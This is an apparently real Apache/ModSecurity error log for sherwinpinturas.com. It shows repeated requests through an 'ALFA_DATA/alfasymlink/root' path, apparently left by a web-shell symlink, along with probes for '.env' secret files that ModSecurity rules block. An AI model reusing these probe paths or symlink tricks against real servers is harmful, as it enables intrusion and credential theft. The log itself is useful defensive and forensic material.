[Mon Oct 26 21:18:54.199739 2026] [core:error] [pid 3100940:tid 3100940] (13)Permission denied: [client 34.233.114.237:46017] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:1f/subsystem/devices/device:06/physical_node/driver/bind
[Mon Oct 26 21:18:58.200467 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 34.194.165.45:11795] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:19:02.146948 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 35.173.38.202:51747] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:19:06.148240 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 52.45.29.57:41613] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:19:14.130513 2026] [ssl:error] [pid 3132187:tid 3132187] (70014)End of file found: [client 3.89.170.186:50499] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:19:18.140454 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 3.225.9.97:13944] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:19:34.113318 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 23.21.179.120:59107] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:19:50.216696 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 52.22.87.224:11337] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:19:54.108227 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 44.208.223.68:13148] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:19:55.988181 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 185.191.171.3:32386] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bfq_queue/slabs_cpu_partial
[Mon Oct 26 21:20:02.250703 2026] [core:error] [pid 3122515:tid 3122515] (13)Permission denied: [client 18.214.138.148:52611] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:1f/subsystem/drivers/thermal/unbind
[Mon Oct 26 21:20:11.193108 2026] [core:error] [pid 3098116:tid 3098116] (13)Permission denied: [client 85.208.96.206:35524] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-State/object_size
[Mon Oct 26 21:20:14.597929 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 185.191.171.5:23680] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_vcpu/cpu_slabs
[Mon Oct 26 21:20:18.123637 2026] [core:error] [pid 3132187:tid 3132187] (13)Permission denied: [client 3.213.213.161:16622] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:02/physical_node/subsystem/drivers/shpchp/module/drivers/pci:shpchp/uevent
[Mon Oct 26 21:20:22.221207 2026] [core:error] [pid 3122515:tid 3122515] (13)Permission denied: [client 3.221.244.28:63031] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:04/physical_node/driver/0000:00:04.0/subsystem/devices/0000:00:03.0/rescan
[Mon Oct 26 21:20:26.143316 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 52.4.213.199:62629] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:20:30.155467 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 52.204.89.12:60359] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:20:34.277904 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 23.23.99.55:54650] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:20:38.346682 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 34.234.197.175:50903] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:20:58.129528 2026] [core:error] [pid 3130075:tid 3130075] (13)Permission denied: [client 54.84.93.8:29860] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/firmware_node/device:13/subsystem/devices/device:02/physical_node/rescan
[Mon Oct 26 21:21:26.222323 2026] [core:error] [pid 3132187:tid 3132187] (13)Permission denied: [client 34.203.111.15:60457] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/PNP0303:00/subsystem/drivers/hpet/uevent
[Mon Oct 26 21:21:34.154104 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 52.71.46.142:15687] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:21:35.114435 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 185.191.171.18:27684] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:21:38.303352 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 35.171.117.160:55987] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:21:54.123787 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 23.21.175.228:4426] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:22:10.135066 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 54.225.148.123:57985] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:22:22.276009 2026] [core:error] [pid 3130075:tid 3130075] (13)Permission denied: [client 52.205.113.104:50189] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/cpu1/node0/cpu1/firmware_node/physical_node/driver/cpu0/crash_notes
[Mon Oct 26 21:22:34.134734 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 3.210.223.61:10187] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:22:44.653936 2026] [authz_core:error] [pid 3100940:tid 3100940] [client 45.198.224.125:42476] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 21:22:46.128039 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 23.21.179.120:47033] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:22:50.129264 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 52.6.232.201:23935] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:22:54.277491 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 34.227.234.246:22487] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:23:06.117654 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 52.44.174.136:6322] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:23:22.292262 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 34.238.45.183:19428] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:23:23.004654 2026] [security2:error] [pid 3130075:tid 3130075] [client 16.216.88.21:16384] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/420_mod_socache_shmcb.conf"] [unique_id "at_9C7Rvv9rueX6FuiObrwAAAAM"]
[Mon Oct 26 21:23:23.005144 2026] [security2:error] [pid 3130075:tid 3130075] [client 16.216.88.21:16384] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/420_mod_socache_shmcb.conf"] [unique_id "at_9C7Rvv9rueX6FuiObrwAAAAM"]
[Mon Oct 26 21:23:23.005487 2026] [security2:error] [pid 3130075:tid 3130075] [client 16.216.88.21:16384] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/420_mod_socache_shmcb.conf"] [unique_id "at_9C7Rvv9rueX6FuiObrwAAAAM"]
[Mon Oct 26 21:23:34.343890 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 3.210.29.96:64649] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:23:46.199698 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 44.205.192.249:28738] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:23:50.152446 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 52.4.76.156:22997] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:23:54.127052 2026] [core:error] [pid 3098116:tid 3098116] (13)Permission denied: [client 52.71.216.196:44674] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/device:0e/eject
[Mon Oct 26 21:24:17.313773 2026] [security2:error] [pid 3117428:tid 3117428] [client 43.161.233.190:44092] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/affected_rows"] [unique_id "at_9QSWN_iofYZIHyv48yAAAAAs"]
[Mon Oct 26 21:24:18.120037 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 50.16.248.61:51476] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:24:26.397104 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 34.206.193.60:13130] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:24:30.162049 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 52.3.104.214:28299] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:24:34.144040 2026] [core:error] [pid 3130075:tid 3130075] (13)Permission denied: [client 23.21.119.232:2816] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/physical_node/driver/cpu0/node0/cpu0/crash_notes_size
[Mon Oct 26 21:24:46.226276 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 34.234.197.175:51570] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:24:58.151579 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 54.156.55.147:16007] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:25:02.198330 2026] [core:error] [pid 3100940:tid 3100940] (13)Permission denied: [client 18.211.39.188:59141] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/PNP0A06:02/subsystem/devices/device:01/physical_node/subsystem/devices/0000:00:03.0/driver/bind
[Mon Oct 26 21:25:13.720364 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 185.191.171.12:55310] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:25:18.151706 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 52.7.13.143:10386] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:25:26.245050 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 3.226.34.98:6732] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:25:28.717094 2026] [security2:error] [pid 3117426:tid 3117426] [client 107.172.76.131:56982] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at_9ff5ZEdGRoel0j8ff7QAAAAg"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 21:25:28.717166 2026] [security2:error] [pid 3117426:tid 3117426] [client 107.172.76.131:56982] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at_9ff5ZEdGRoel0j8ff7QAAAAg"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 21:25:30.197440 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 34.226.89.140:7161] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:26:02.296956 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 52.5.232.250:40457] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:26:06.180624 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 35.173.18.61:12738] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:26:10.365189 2026] [ssl:error] [pid 3132187:tid 3132187] (70014)End of file found: [client 44.206.65.8:2820] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:26:17.647664 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 85.208.96.193:64586] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:26:19.090504 2026] [core:error] [pid 3122515:tid 3122515] (13)Permission denied: [client 185.191.171.9:29368] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_mmu_page_header/ctor
[Mon Oct 26 21:26:22.457578 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 52.205.113.104:52966] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:26:30.175554 2026] [ssl:error] [pid 3132187:tid 3132187] (70014)End of file found: [client 184.73.47.24:53224] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:26:32.601498 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 185.191.171.16:29344] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-2k/slabs
[Mon Oct 26 21:26:38.161519 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 54.209.100.30:17799] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:26:42.265119 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 100.29.107.38:47668] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:26:46.294240 2026] [core:error] [pid 3098114:tid 3098114] (13)Permission denied: [client 34.194.95.99:31837] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:06/physical_node/driver/0000:00:05.0/resource0
[Mon Oct 26 21:26:54.141760 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 34.239.197.197:58698] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:27:02.152018 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 18.205.127.11:24541] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:27:10.179437 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 18.208.11.93:8798] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:27:11.743775 2026] [security2:error] [pid 3098114:tid 3098114] [client 43.160.219.138:41742] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "162.216.113.238"] [uri "/"] [unique_id "at_974U8RArHmY5bTmWwKAAAAAY"]
[Mon Oct 26 21:27:14.149159 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 184.73.47.24:27886] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:27:22.198462 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 23.23.103.31:44679] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:27:30.158003 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 50.19.102.70:32212] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:27:34.298526 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 34.227.234.246:18049] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:27:42.217477 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 23.23.99.55:30597] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/input0/subsystem/event2/device/device/driver/unbind
[Mon Oct 26 21:27:42.217967 2026] [security2:error] [pid 3098113:tid 3098113] [client 23.23.99.55:30597] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/input0/subsystem/event2/device/device/driver/unbind"] [unique_id "at_-DrHarSgES5WqcDhKGgAAAAU"]
[Mon Oct 26 21:27:42.217990 2026] [security2:error] [pid 3098113:tid 3098113] [client 23.23.99.55:30597] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/input0/subsystem/event2/device/device/driver/unbind"] [unique_id "at_-DrHarSgES5WqcDhKGgAAAAU"]
[Mon Oct 26 21:27:46.153364 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 3.232.39.98:1604] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:27:50.153617 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 18.214.238.178:36124] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:27:54.152879 2026] [core:error] [pid 3098114:tid 3098114] (13)Permission denied: [client 44.205.180.155:59754] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:13/subsystem/devices/device:05/physical_node/resource0
[Mon Oct 26 21:28:02.153632 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 3.220.70.171:48453] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:28:10.193772 2026] [core:error] [pid 3132187:tid 3132187] (13)Permission denied: [client 54.243.63.52:64224] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/kernel/slab/uts_namespace/min_partial
[Mon Oct 26 21:28:18.172118 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 54.87.62.248:5697] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:28:25.648363 2026] [authz_core:error] [pid 3128624:tid 3128624] [client 178.128.84.112:38448] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 21:28:34.133540 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 100.24.167.60:59014] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:28:42.129511 2026] [core:error] [pid 3117426:tid 3117426] (13)Permission denied: [client 52.44.229.124:55866] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/QEMU0002:00/physical_node/subsystem/drivers/usb-conn-gpio/unbind
[Mon Oct 26 21:28:46.362616 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 18.214.251.19:19444] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:28:50.288093 2026] [ssl:error] [pid 3132187:tid 3132187] (70014)End of file found: [client 44.195.50.71:37901] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:28:54.160224 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 3.90.73.206:30104] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:28:55.511013 2026] [core:error] [pid 3117428:tid 3117428] (13)Permission denied: [client 85.208.96.208:19722] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/run/CSPCheckStatus.lock
[Mon Oct 26 21:29:02.264619 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 35.171.141.42:24468] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:29:10.221996 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 34.235.239.240:57289] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:29:18.160697 2026] [core:error] [pid 3117428:tid 3117428] (13)Permission denied: [client 100.24.149.244:62779] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/input/input1/device/subsystem/drivers/psmouse/module/uevent
[Mon Oct 26 21:29:22.304495 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 34.225.24.180:39209] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:29:38.138524 2026] [core:error] [pid 3098116:tid 3098116] (13)Permission denied: [client 184.73.47.24:48894] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory9/node0/cpu1/crash_notes_size
[Mon Oct 26 21:29:42.497744 2026] [security2:error] [pid 3117428:tid 3117428] [client 191.99.49.145:36327] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at_-hiWN_iofYZIHyv481gAAAAs"], referer: https://allinone.co.in/redirect.php?ref_host=hkg.ac.jp
[Mon Oct 26 21:29:42.533684 2026] [authz_core:error] [pid 3117428:tid 3117428] [client 191.99.49.145:36327] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: https://allinone.co.in/redirect.php?ref_host=hkg.ac.jp
[Mon Oct 26 21:29:46.172563 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 3.221.156.96:26908] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:29:49.981912 2026] [security2:error] [pid 3117426:tid 3117426] [client 144.172.114.51:51884] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at_-jf5ZEdGRoel0j8ff_QAAAAg"]
[Mon Oct 26 21:29:49.982138 2026] [security2:error] [pid 3117426:tid 3117426] [client 144.172.114.51:51884] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at_-jf5ZEdGRoel0j8ff_QAAAAg"]
[Mon Oct 26 21:29:49.982476 2026] [security2:error] [pid 3117426:tid 3117426] [client 144.172.114.51:51884] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at_-jf5ZEdGRoel0j8ff_QAAAAg"]
[Mon Oct 26 21:29:52.411397 2026] [security2:error] [pid 3098116:tid 3098116] [client 144.172.114.51:60726] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at_-kDS1e-yu7xYT1dr9KgAAAAk"]
